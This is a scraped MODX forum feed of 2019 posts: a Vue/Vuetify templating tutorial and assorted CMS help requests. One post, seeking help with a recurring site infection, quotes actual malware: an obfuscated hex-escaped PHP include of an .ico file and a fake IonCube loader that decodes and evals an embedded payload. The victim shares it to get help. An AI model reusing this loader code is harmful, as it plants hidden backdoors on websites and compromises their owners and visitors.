General Discussions - MODX Community Forums https://forums.modx.com/board/?board=9 <![CDATA[A View on Vue Frontend Framework & MODx]]> https://forums.modx.com/thread/104746/a-view-on-vue-frontend-framework-modx#dis-post-564589
I recently converted my business website to use Vue https://vuejs.org/v2/guide/index.html and Vuetify - fairly new to both. This to make frontend work easier and to improve my limited design skills treating Vuetify as a replacement for Bootstrap/Foundation etc. The Full Fat approach to Vue Development: using Single Page Applications (SPA); components; Webpack; Vue-CLI; Vuex etc creates an HTML file which simply lists the javascript used to build the site live in the visitors browser. I've had a go at that too for an ecommerce site with loads of interactions, tables etc but suspect this approach won't ever be applicable to MODx.

In that sense, I'm using the "Progressive" feature of Vue. The ability to include some javascript to any HTML to make it a Vue application. This link sums up all you need to do to get going - https://vuetifyjs.com/en/getting-started/quick-start#cdn-install. For Angular and React you'd need to spend about a week learning all sorts of epic stuff. And I don't believe either is Progressive, so could perhaps never be of use with MODx.

An overview of part of what I did to give a flavour.
Building this page, not a designer so no sniggering - https://www.parthiansystems.co.uk/

I build my MODx Templates using Chunks for $head, maybe some HTML then a $header, then content stuff, and a $javascript as so.

[[$head]]
<body>
[[$header]]
... stuff specific to this template ...
[[$footer]]
[[$javascript]]
</body>
</html>


Then head includes these lines - as per CDN Install section of Vuetify link.
  <link href='https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Material+Icons' rel="stylesheet">
  <link href="https://cdn.jsdelivr.net/npm/vuetify/dist/vuetify.min.css" rel="stylesheet">
  <link rel="stylesheet" href="/assets/css/yourcustomcsshere.css" />
  <!-- development version, includes helpful console warnings 
  <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> -->
  <!-- production later when you've attained Elite status <script src="https://cdn.jsdelivr.net/npm/vue"></script> -->


Then header gets the layout of the page working with a menu, search and a responsive pull out menu - bit like Bootstrap would do.
<div id="app">
<v-app v-cloak id="parthian">
    <v-navigation-drawer temporary app v-model="sideNav">
      <v-list>
     [[!Wayfinder? &startId=`0` &level=`1` &outerTpl=`VueNavOuterTpl` &outerClass=`` &rowTpl=`VueNavRowTpl` &rowClass=`ui-state-default` &hereClass=`active self ui-state-active` &firstClass=`` &lastClass =``]]   
        <v-list-tile>
        <v-list-tile-action><v-icon>exit_to_app</v-icon></v-list-tile-action>
        <v-list-tile-content>
        I've got phone numbers etc here
        </v-list-tile-content>
        </v-list-tile>
        [[!SimpleSearchForm? &landing=`38` &tpl=`ListVueSimpleSearchFormTpl`]]
      </v-list>
    </v-navigation-drawer>
    <v-toolbar light class="">
      <v-layout row wrap pt-2 pb-2>
      <v-flex xs1>
        <v-toolbar-side-icon @click.stop="sideNav = !sideNav" class="hidden-sm-and-up"></v-toolbar-side-icon>
      </v-flex>
      <v-flex xs5 sm8 mt-3 offset-sm1>
        [[!Wayfinder? &startId=`0` &level=`1` &outerTpl=`NavOuterTpl` &outerClass=`` &rowTpl=`NavRowTpl` &rowClass=`` &hereClass=`` &firstClass=`` &lastClass =``]]
      </v-flex>
      <v-flex xs6 sm2>
       [[!SimpleSearchForm? &landing=`38` &tpl=`VueSimpleSearchFormTpl`]]
      </v-flex>
     </v-layout>
    </v-toolbar>

<v-content class="mapbackground" >
  <v-container fluid>
  <v-layout row wrap>
  <v-flex>  
  <span class="headerh1 text-xs-center">PARTHIAN SYSTEMS<br>Web Development and Mapping Services</span>
  </v-flex>
<v-container grid-list-md class="mt-1">
.... now the meat of the page using mostly MODx stuff.


Note, div id="app" this is so the javascript below knows which bit of the code is Vue. and v-app is for Vuetify. v-cloak is handy. Turns off display of the DOM until everything is ready (with some CSS [v-cloak] { display: none; } ). Stops the raw HTML appearing then getting Vue'd up later making a nasty 'flash'.

You can see things like v-container fluid , v-layout row wrap, and v-flex. These help with the Grid system built into Vuetify.

The v-navigation-drawer is to make one of those nice popout menus in mobile viewports.

And some MODx - Wayfinder for the menu. The outerTpl is just [[wf.wrapper]] as normal but the rowTpl chunk is

<v-list-tile [[+wf.classes]]>
  <v-list-tile-action><v-icon>exit_to_app</v-icon></v-list-tile-action>
  <v-list-tile-content><v-btn flat href="[[+wf.link]]" title="[[+wf.title]]" [[+wf.attributes]]><span>[[+wf.linktext]]</span></v-btn>[[+wf.wrapper]]</v-list-tile-content>
</v-list-tile>


All a bit intimidating looking but Bootstrap is much the same. Lots of stuff to build a list of menu items. Note the v-icon - this uses Google Material+Icons - https://material.io/tools/icons/?style=baseline. You'll recognise the Wayfinder stuff.


Finally, the $javascript chunk. I have my vue.js included in the $head rather than the Vuetify approach at the bottom. Not sure why I did that.

  <script src="https://cdn.jsdelivr.net/npm/vuetify/dist/vuetify.js"></script>
  <script>
   var app = new Vue({
     el: '#app',
     data: {
       message: 'Hello Vue!',
       sideNav: false
    },
   watchers, methods, computed etc can go in here if needed. All Vue stuff.
   })
  </script>


You may need little in the way of Vue code. Note the sideNav: false. Look above for <v-navigation-drawer temporary app v-model="sideNav">. This is part of the two-way data bindings for Form interactions. More here - https://vuejs.org/v2/guide/forms.html

Some useful links on Vuetify to get you all a fluster.
https://vuetifyjs.com/en/layout/grid
https://vuetifyjs.com/en/components/date-pickers
https://vuetifyjs.com/en/components/lists
I've used tables a bit. Awesome.
https://vuetifyjs.com/en/components/data-tables
Looking a bit like the Resources tree in the manager.
https://vuetifyjs.com/en/components/treeview#examples


Should give you a head start. Is Vue/Vuetify right for your project? Not sure, I did it as an exercise as I use Vue for other things. Works well I think, and gives nice features e.g. when you click on the Search box top right on my site or hover over the main content with a popup thing appearing. And the v-chips (red / blue button things). So mainly I added Vue for Vuetify UI components and the grid.

Could MODX 4.0 manager be built using Vue? That's one for minds immeasurably superior to mine.

Cheers

Stuart

]]>
https://forums.modx.com/thread/104746/a-view-on-vue-frontend-framework-modx#dis-post-564589 Mon, 25 Mar 2019 04:46:22 +0000 https://forums.modx.com/thread/104746/a-view-on-vue-frontend-framework-modx#dis-post-564589
<![CDATA[Collection view and listbox TVs in columns]]> https://forums.modx.com/thread/105001/collection-view-and-listbox-tvs-in-columns#dis-post-564569
I'm searching for a way to render/edit TVs directly from the column list view for quick editing, regarding TV type and default values, especially for listbox TV type.

Is it possible with a rendering snippet 'catching' capturing the tv name (field name : tv_name) and rendering the TV in the same way as in the template variables tab, automatically ?







]]>
https://forums.modx.com/thread/105001/collection-view-and-listbox-tvs-in-columns#dis-post-564569 Sun, 24 Mar 2019 12:30:24 +0000 https://forums.modx.com/thread/105001/collection-view-and-listbox-tvs-in-columns#dis-post-564569
<![CDATA[Alias locking]]> https://forums.modx.com/thread/104980/alias-locking#dis-post-564482
Is there a way to lock alias of specific resources (collections) to prevent renaming ?

]]>
https://forums.modx.com/thread/104980/alias-locking#dis-post-564482 Mon, 18 Mar 2019 10:25:06 +0000 https://forums.modx.com/thread/104980/alias-locking#dis-post-564482
<![CDATA[MODX website keeps getting infected with malicious code injections]]> https://forums.modx.com/thread/103546/modx-website-keeps-getting-infected-with-malicious-code-injections?page=3#dis-post-564392
Installation info:

  • MODX version: 2.6.1
  • PHP version: 5.6.33
  • DB info: mysql, version: 10.0.29-MariaDB-cll-lve

My MODX installations keeps getting compromised.
Malicious code is injected in certain index.php files. Example:

/*3e166*/

@include "\x2fho\x6de/\x64eb\x3950\x391/\x64om\x61in\x73/m\x69dd\x65lb\x75rg\x67ez\x69ch\x74va\x6ede\x73ta\x64.n\x6c/p\x75bl\x69c_\x68tm\x6c/a\x73se\x74s/\x63om\x70on\x65nt\x73/r\x65ca\x70tc\x68av\x32/f\x61vi\x63on\x5f20\x324c\x36.i\x63o";

/*3e166*/


The includes are referring to ICO files, which contain scrambled code.

Besides this, the hack also creates new, random, files, like:
ucwuwapz.php
footer21.php
vexwzlkn.php

Contents of footer21.php (similar to the other files):
<?php //000310
if (!extension_loaded('IonCube_loader')) {$__oc = strtolower(substr(php_uname(), 0, 3));$__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so');if (function_exists('il_exec')) {return il_exec();}$__ln = '/ioncube/' . $__ln;$__ln = "preg_replace";$__oid = @fopen(__FILE__, 'rb');$__id = realpath('extension_dir');$__here = dirname(__FILE__);if (strlen($__id) > 1 && $__id[1] == ':') {$__id = str_replace('\\', '/', substr($__id, 2));$__here = str_replace('\\', '/', substr($__here, 2));}$__rd = "/" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/';$__i = strlen($__rd);while ($__i--) {if ($__rd[$__i] == '/') {$__lp = substr($__rd, 0, $__i) . $__ln;if ($__lp = fread($__oid, @filesize(__FILE__))) {$__ln = pack("H*", $__ln("/[A-Z,\r,\n]/", "", substr($__lp, 0x99d-0x4ed)));break;}}}eval($__ln);return 0;} else {die('The file ' . __FILE__ . " is corrupted.\n");}if (function_exists('il_exec')) {return il_exec();}echo('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.');return 0;

?>
2473S6D9I7X66E568X20S3d2041Z7D2726179S2827776V8C7a7Oa746dI2V73d3e277aL6Ga6T1
65H6H8O64T272D9D3b2472T6Lc64O772G0H3GdH20417L27A26A1792W82T7N686Pf7979H2N73
DdT3e2E76dF6Xe6D7706fC272M93b666Hf72K65P6Q1636Q82028T41727S261I7M92824736J9
7U66A5Q6U82Ec20245LfQ504Wf5354K2c2024L7Q2Y6c6477D2c20R2S45f43B4VfC4fO4Eb494
52S920P617Y3A20247275Z7475D2W9207Pb6B66VfD7B26H56R163Y682V02M82N4727T57P4I7
G520K6P1732L02479666bW6Y5W6Bf203d3e2024V646R8X6I776R2L92L0M7Mb24646O8X6776C
2C0Q3Vd2Q040F70L6163X6b28T22T4W8Z2aU222XcW2B02464686B776293Db24Y796N66b6G56
fP202e3dS2K022S32L663430Q3E861G63632dU626566612Td3432X3C733G2dT393P038642Rd
N3F5U63I3A833V33W6D5Z62663534N35O31223b24H657Va6bD6aJ78203Fd2G0W24646867F7S
6F205e2O07T37S56N27374A7P22T8B7374V72O5f7Y2S6C5V706561C742824M79Q6H66b656f2
BcN202V873M7472L6c65U6e28X24646867O7629202f2073747B26Hc656e2H8E2H4Z796F6D6b
G65C6f29Q29V2A02Gb2D0I312Z9Z2c2T0302c20737L472U6c6E56e28A24H646V8M6N776292N
93bW24L657a6b6aD78D20W3dX206578706cB6Lf64652P8E2D223222Vc2Q024X657a6PbR6aI7
829G3bM69662028B6B36Uf75B6Ie7428W24U6K5M7a6NbU6a78Z29203Fd3dJ20P332Z920W7b6
5D76A61S6cE28C24657DaN6b6a785Hb3W15dO28F2P4Y657a6bM6aU78B5bX325d292V9M3b657
O8J6974O282J93bV7dA7d7d


Another practical problem is that MODX sites that are infected, will stop working after a while.

I did all the standard stuff and followed the excellent guide at https://forums.modx.com/thread/94643/how-to-clean-up-your-hacked-webspace


  • Checked for malicious plugins/users
  • Changed all passwords, form MODX users to DirectAdmin/FTP/DB
  • Moved the website to a new hosting account
  • Used the guide mentioned earlier to identify malicious includes via SSH

Unfortunately this will only temporarily remove the infection.
Right now the only thing I can do is running a cronjob that removes all unwanted ICO files form my host every hour...

I'm not sure if this is a specific MODX related infection. The truth is that only MODX-installations are affected right now.

Is there someone who experienced the same problems and found a solution? Any advice is welcome!

Thanks in advance..]]>
https://forums.modx.com/thread/103546/modx-website-keeps-getting-infected-with-malicious-code-injections?page=3#dis-post-564392 Tue, 12 Mar 2019 07:04:32 +0000 https://forums.modx.com/thread/103546/modx-website-keeps-getting-infected-with-malicious-code-injections?page=3#dis-post-564392
<![CDATA[Modx - Relation between TVs or something to calculate and sort and search data ?]]> https://forums.modx.com/thread/104882/modx---relation-between-tvs-or-something-to-calculate-and-sort-and-search-data?page=2#dis-post-564319 I created a resource to tree like this -
Session year > Classes > (collections Extra for each class) > Students entry.
And I have created many Tvs for Students entry like name, class, father's name, form date, fees etc.

Client want to search for particular list of student by fees due, form completed or not (which is added by TV with radio button yes/no)

And Client want to automatic calculate the amount like adding fees in installment of 3 so total fees is 15000 and there is 3 installments for 500 each. So when student submit 1st installment, it should show remaining amount and when 2nd installment submit, it should add and calculate amount.

Client also want to search data by selecting year and student's class. He also want to add data from front end. How to process tv's with resource ?

I dont know how to achieve all this with modx .. Please suggest me proper extra or guide me how it can be done.

Thanks. smiley]]>
https://forums.modx.com/thread/104882/modx---relation-between-tvs-or-something-to-calculate-and-sort-and-search-data?page=2#dis-post-564319 Wed, 06 Mar 2019 06:37:54 +0000 https://forums.modx.com/thread/104882/modx---relation-between-tvs-or-something-to-calculate-and-sort-and-search-data?page=2#dis-post-564319
<![CDATA[Customized set-up guides for Revo]]> https://forums.modx.com/thread/104930/customized-set-up-guides-for-revo#dis-post-564217
I am thinking about a few basic setups outside the Revo core, like multi-lingual (set up that db correctly!), custom user data, user permission levels, some sort of blog, pay for access site, and perhaps a few others.

When users need a solution, its not just about the core but what add ons can be useful. New users need clear ways forward, of course sophisticated users love to imagine the various ways to achieve a goal, for newbies they need clearer pathways.

Unfortunately this might mean picking one solution over another, which is an issue I have seen using Linux. However let 1000 ecosystems bloom]]>
https://forums.modx.com/thread/104930/customized-set-up-guides-for-revo#dis-post-564217 Sun, 24 Feb 2019 01:33:09 +0000 https://forums.modx.com/thread/104930/customized-set-up-guides-for-revo#dis-post-564217
<![CDATA[action_err_ns]]> https://forums.modx.com/thread/104796/action-err-ns#dis-post-564200 https://forums.modx.com/thread/104796/action-err-ns#dis-post-564200 Fri, 22 Feb 2019 11:01:07 +0000 https://forums.modx.com/thread/104796/action-err-ns#dis-post-564200 <![CDATA[Modx Tv if else condition help]]> https://forums.modx.com/thread/104853/modx-tv-if-else-condition-help#dis-post-564199 I am adding Student information fields with Collections. I am using Tv for each entry. Like name, class, fees, section etc.
I have some conditions where I want tv to show different values after selecting value.
Like when client select an option from list suppose concession tv has 2 list options yes and no. So when client select YES, I want a text box area to be appear to input the concession amount.
I did this but no success -
concession TV
Listbox (single select)
Yes==[[*student_class]]||No
student_class is a tv with text area input.

How to do this ? Please help. smiley
]]>
https://forums.modx.com/thread/104853/modx-tv-if-else-condition-help#dis-post-564199 Fri, 22 Feb 2019 10:55:35 +0000 https://forums.modx.com/thread/104853/modx-tv-if-else-condition-help#dis-post-564199
<![CDATA[Wanting to re-save pages daily with cron manage]]> https://forums.modx.com/thread/104917/wanting-to-re-save-pages-daily-with-cron-manage#dis-post-564171 https://forums.modx.com/thread/104917/wanting-to-re-save-pages-daily-with-cron-manage#dis-post-564171 Wed, 20 Feb 2019 06:54:48 +0000 https://forums.modx.com/thread/104917/wanting-to-re-save-pages-daily-with-cron-manage#dis-post-564171 <![CDATA[Web design outsourcing question]]> https://forums.modx.com/thread/76619/web-design-outsourcing-question#dis-post-564135
Just wondering if anyone has had any success with outsourcing to overseas website development companies?

I am in Australia and considering outsourcing for a couple of upcoming website projects. I am currently looking at a couple of companies from India, the Philippines and Poland.

Any recommendations on who to use?

Any good / bad experiences you would like to share?

Appreciate any feedback.]]>
https://forums.modx.com/thread/76619/web-design-outsourcing-question#dis-post-564135 Tue, 19 Feb 2019 09:47:36 +0000 https://forums.modx.com/thread/76619/web-design-outsourcing-question#dis-post-564135
<![CDATA[Unable to use $response = file_get_contents('php://input'); in snippet]]> https://forums.modx.com/thread/104320/unable-to-use-response-file-get-contents-php-input-in-snippet#dis-post-563983 $response = file_get_contents('php://input'); in side modx revolution and evolution. Please, can you please help me to implement.]]> https://forums.modx.com/thread/104320/unable-to-use-response-file-get-contents-php-input-in-snippet#dis-post-563983 Tue, 05 Feb 2019 11:26:08 +0000 https://forums.modx.com/thread/104320/unable-to-use-response-file-get-contents-php-input-in-snippet#dis-post-563983 <![CDATA[Help needed for my modex website urgent]]> https://forums.modx.com/thread/104298/help-needed-for-my-modex-website-urgent#dis-post-563982 www.yourfamilyfuture.co.uk took too long to respond.
Search Google for your family future co uk
ERR_CONNECTION_TIMED_OUT

please contact me with a quote on dean@yourfamilyfuture.co.uk]]>
https://forums.modx.com/thread/104298/help-needed-for-my-modex-website-urgent#dis-post-563982 Tue, 05 Feb 2019 09:26:08 +0000 https://forums.modx.com/thread/104298/help-needed-for-my-modex-website-urgent#dis-post-563982
<![CDATA[getresource: Chunk in tpl??????]]> https://forums.modx.com/thread/104865/getresource-chunk-in-tpl#dis-post-563883
I did a news page. There you can enter the month, a text, a picture and a link.

        <main id="up-to-date" role="main">
            <div class="container">
                <div class="news-content"> 
                    <h3>[[*news-month]]</h3>                                    
                    <div class="col-12">
                        <div class="row">                            
                            <div class="col-md-9">            
                                [[*news-content]]
                                [[$news-link]]                                
                            </div>                            
                            <div class="col-md-3">
                                [[$news-picture]]
                            </div> 
                        </div><!-- row -->
                    </div><!-- col-12 -->
                    <hr><!-- divider -->
                </div><!-- news-Content -->                
            </div><!-- container -->
        </main><!-- main →


The picture and the link are not necessary. So that they do not show up if nothing is entered, I have created the following chunks:

[[*news-link:notempty=`[[$newslink]]`]]

[[*news-picture:notempty=`[[$newspicture]]`]]


Now I've created a tpl that should map all the content to the parent page. But I do not know how to do that with the chunk.

                 <div class="news-content"> 
                    <h3>[[+tv.news-month]]</h3>                                    
                    <div class="col-12">
                        <div class="row">                            
                            <div class="col-md-9">            
                                [[+tv.news-content]]
                                [[$news-link]]                                
                            </div>                            
                            <div class="col-md-3">
                                [[$news-picture]]
                            </div> 
                        </div><!-- row -->
                    </div><!-- col-12 -->
                    <hr><!-- divider -->
                </div><!-- news-content -->



Can somebody help me? I'm a beginner with modx.

Best regards,
Michael]]>
https://forums.modx.com/thread/104865/getresource-chunk-in-tpl#dis-post-563883 Fri, 01 Feb 2019 07:47:26 +0000 https://forums.modx.com/thread/104865/getresource-chunk-in-tpl#dis-post-563883
<![CDATA[TV Permission]]> https://forums.modx.com/thread/104868/tv-permission#dis-post-563876
I've been struggling with something which I know isn't (or shouldn't be) difficult, so any insight is appreciated.

The Goal: To allow the "editor" user-group to view a (rich-text) TV but not edit/save it. That's it.

I have given the "editor" group
view_tv
permission but not edit or save (TV) permission.

The Problem: While they can view the TV (good) they can also edit/save it (bad).

In all other respects I have the "editor" permissions dialed-in, everything else is working exactly as I need it to... except this irritating TV nonsense.

Am I correct in assuming this is a permissions issue? Or do I need to create an Element Category Access entry? Or something else?

Very frustrated.]]>
https://forums.modx.com/thread/104868/tv-permission#dis-post-563876 Thu, 31 Jan 2019 09:26:24 +0000 https://forums.modx.com/thread/104868/tv-permission#dis-post-563876
<![CDATA[Advsearch Problem after upgrading to Modx 2.2]]> https://forums.modx.com/thread/73383/advsearch-problem-after-upgrading-to-modx-2-2?page=2#dis-post-563723 I'm facing a little problem with AdvSerach and Modx 2.2

I've upgraded my Modx install 2.1.4 to 2.2.0.
But now, all my Advsearch calls don't work.
It's all the same chunks, snippets.
I send the data with a GET method, and I call the results with :
[[!AdvSearch? 
&ids=`[[!GetIds? &ids=`c3,c4`]]` 
&withFields=`` 
&queryHook=`Query2hook` 
&withTVs=`Prix,Type,Departement,Transaction,img_principal` 
&includeTVs=`Prix,Type,Departement,Transaction,img_principal` 
&perPage=`200` 
&minChars=`2` 
&hideContainers=`1`
&method=`GET` ]]


The Hook used is
<?php
$andConditions = array(
    'tv.Transaction:=' => 'transact:request:all', 
    'tv.Type:=' => 'type_bien:request:all',
    'tv.Departement:=' => 'departement:request:all',
    'tv.Prix:>=' => 'prixmin:request:none', 
    'tv.Prix:<=' => 'prixmax:request:none' 
); 
$qhDeclaration = array( 
 'qhVersion' => '1.1',
 'andConditions' => $andConditions 
); 
$hook->setQueryHook($qhDeclaration); 
return true;


With modx 2.1.4, it worked perfectly, but now with 2.2.0, it tells me that there's no results. I've tried to clear the cache, nothing happen

Is it a bug or something changed in 2.2 ?

PS : sorry for my bad english]]>
https://forums.modx.com/thread/73383/advsearch-problem-after-upgrading-to-modx-2-2?page=2#dis-post-563723 Wed, 23 Jan 2019 12:34:40 +0000 https://forums.modx.com/thread/73383/advsearch-problem-after-upgrading-to-modx-2-2?page=2#dis-post-563723
<![CDATA[Has anyone (developing MODx) used the Webflow.com interface?]]> https://forums.modx.com/thread/104759/has-anyone-developing-modx-used-the-webflow-com-interface#dis-post-563707 https://www.webflow.com

Some tutorial videos that show it in action.
https://university.webflow.com/lesson/intro-to-designer-101

I have to say that is one of the more feature packed browser-based apps for building a website that I've seen. This seems like a next generation web management app. I don't know what it would take to bring MODx up to this kind of functionality, but I can't help but want the MODx manager to act more like this.]]>
https://forums.modx.com/thread/104759/has-anyone-developing-modx-used-the-webflow-com-interface#dis-post-563707 Mon, 21 Jan 2019 06:06:28 +0000 https://forums.modx.com/thread/104759/has-anyone-developing-modx-used-the-webflow-com-interface#dis-post-563707
<![CDATA[Need Help with User roles and permissions]]> https://forums.modx.com/thread/104794/need-help-with-user-roles-and-permissions#dis-post-563669 I have a project in which my client need User Roles for Users and Different permissions for editing and managing different part of site. Like they have 4 BlogIt blogs in site and user1 can only edit blog-1 and user2 can only edit blog-2 and user3 can edit blog-1 and blog-2 and user4 can edit all blogs, more like an admin but not admin.

How can I achieve this ? Suggest me Extra. smiley]]>
https://forums.modx.com/thread/104794/need-help-with-user-roles-and-permissions#dis-post-563669 Sun, 20 Jan 2019 03:34:36 +0000 https://forums.modx.com/thread/104794/need-help-with-user-roles-and-permissions#dis-post-563669
<![CDATA[How to add Twitter Feed?]]> https://forums.modx.com/thread/104618/how-to-add-twitter-feed#dis-post-563646
Could you tell me how to embed Twitter Feed on website? Which one would you recommend?

I want to display the latest posts on one of the site pages.

Thank you in advance.
]]>
https://forums.modx.com/thread/104618/how-to-add-twitter-feed#dis-post-563646 Fri, 18 Jan 2019 05:02:07 +0000 https://forums.modx.com/thread/104618/how-to-add-twitter-feed#dis-post-563646
<![CDATA[Reported Security Vulnerabilities - broken link on MODX website]]> https://forums.modx.com/thread/104799/reported-security-vulnerabilities---broken-link-on-modx-website#dis-post-563579 CMS Comparison Chart page of the main MODX website has an entry for Reported Security Vulnerabilities but the link in the table is broken.

Does anyone know what url should be to see the live page?

I'm interested to see what the source of the figures given for number of reported vulnerabilities is (MODX = 11, Wordpress = 1090).

From cvedetails.com I get MODX = 32, Wordpress = 334.]]>
https://forums.modx.com/thread/104799/reported-security-vulnerabilities---broken-link-on-modx-website#dis-post-563579 Tue, 15 Jan 2019 02:21:26 +0000 https://forums.modx.com/thread/104799/reported-security-vulnerabilities---broken-link-on-modx-website#dis-post-563579
<![CDATA[Nginx Caching]]> https://forums.modx.com/thread/104559/nginx-caching#dis-post-563564
My only problem is that, it's interfering with the manager, despite setting directives to not cache the manager.

The problem I experience is that, once I've logged out, if I try to login again, the manager tells me that my session has expired and it presents me with a login modal, but despite re-authenticating, I can never get rid past this point (unless I clear the nginx cache).

Obviously something is getting cached, which is mucking with the session, but I don't know how to overcome this. I've tried so many options...

My current directives are:

if ($request_uri ~* "/manager/") {
    set $skip_cache 1;
}


and

location /manager {
    set $skip_cache 1;
    add_header Cache-Control no-cache;
}


If anyone has any idea what directives to use, I really appreciate your sharing your learnings smiley]]>
https://forums.modx.com/thread/104559/nginx-caching#dis-post-563564 Mon, 14 Jan 2019 07:44:45 +0000 https://forums.modx.com/thread/104559/nginx-caching#dis-post-563564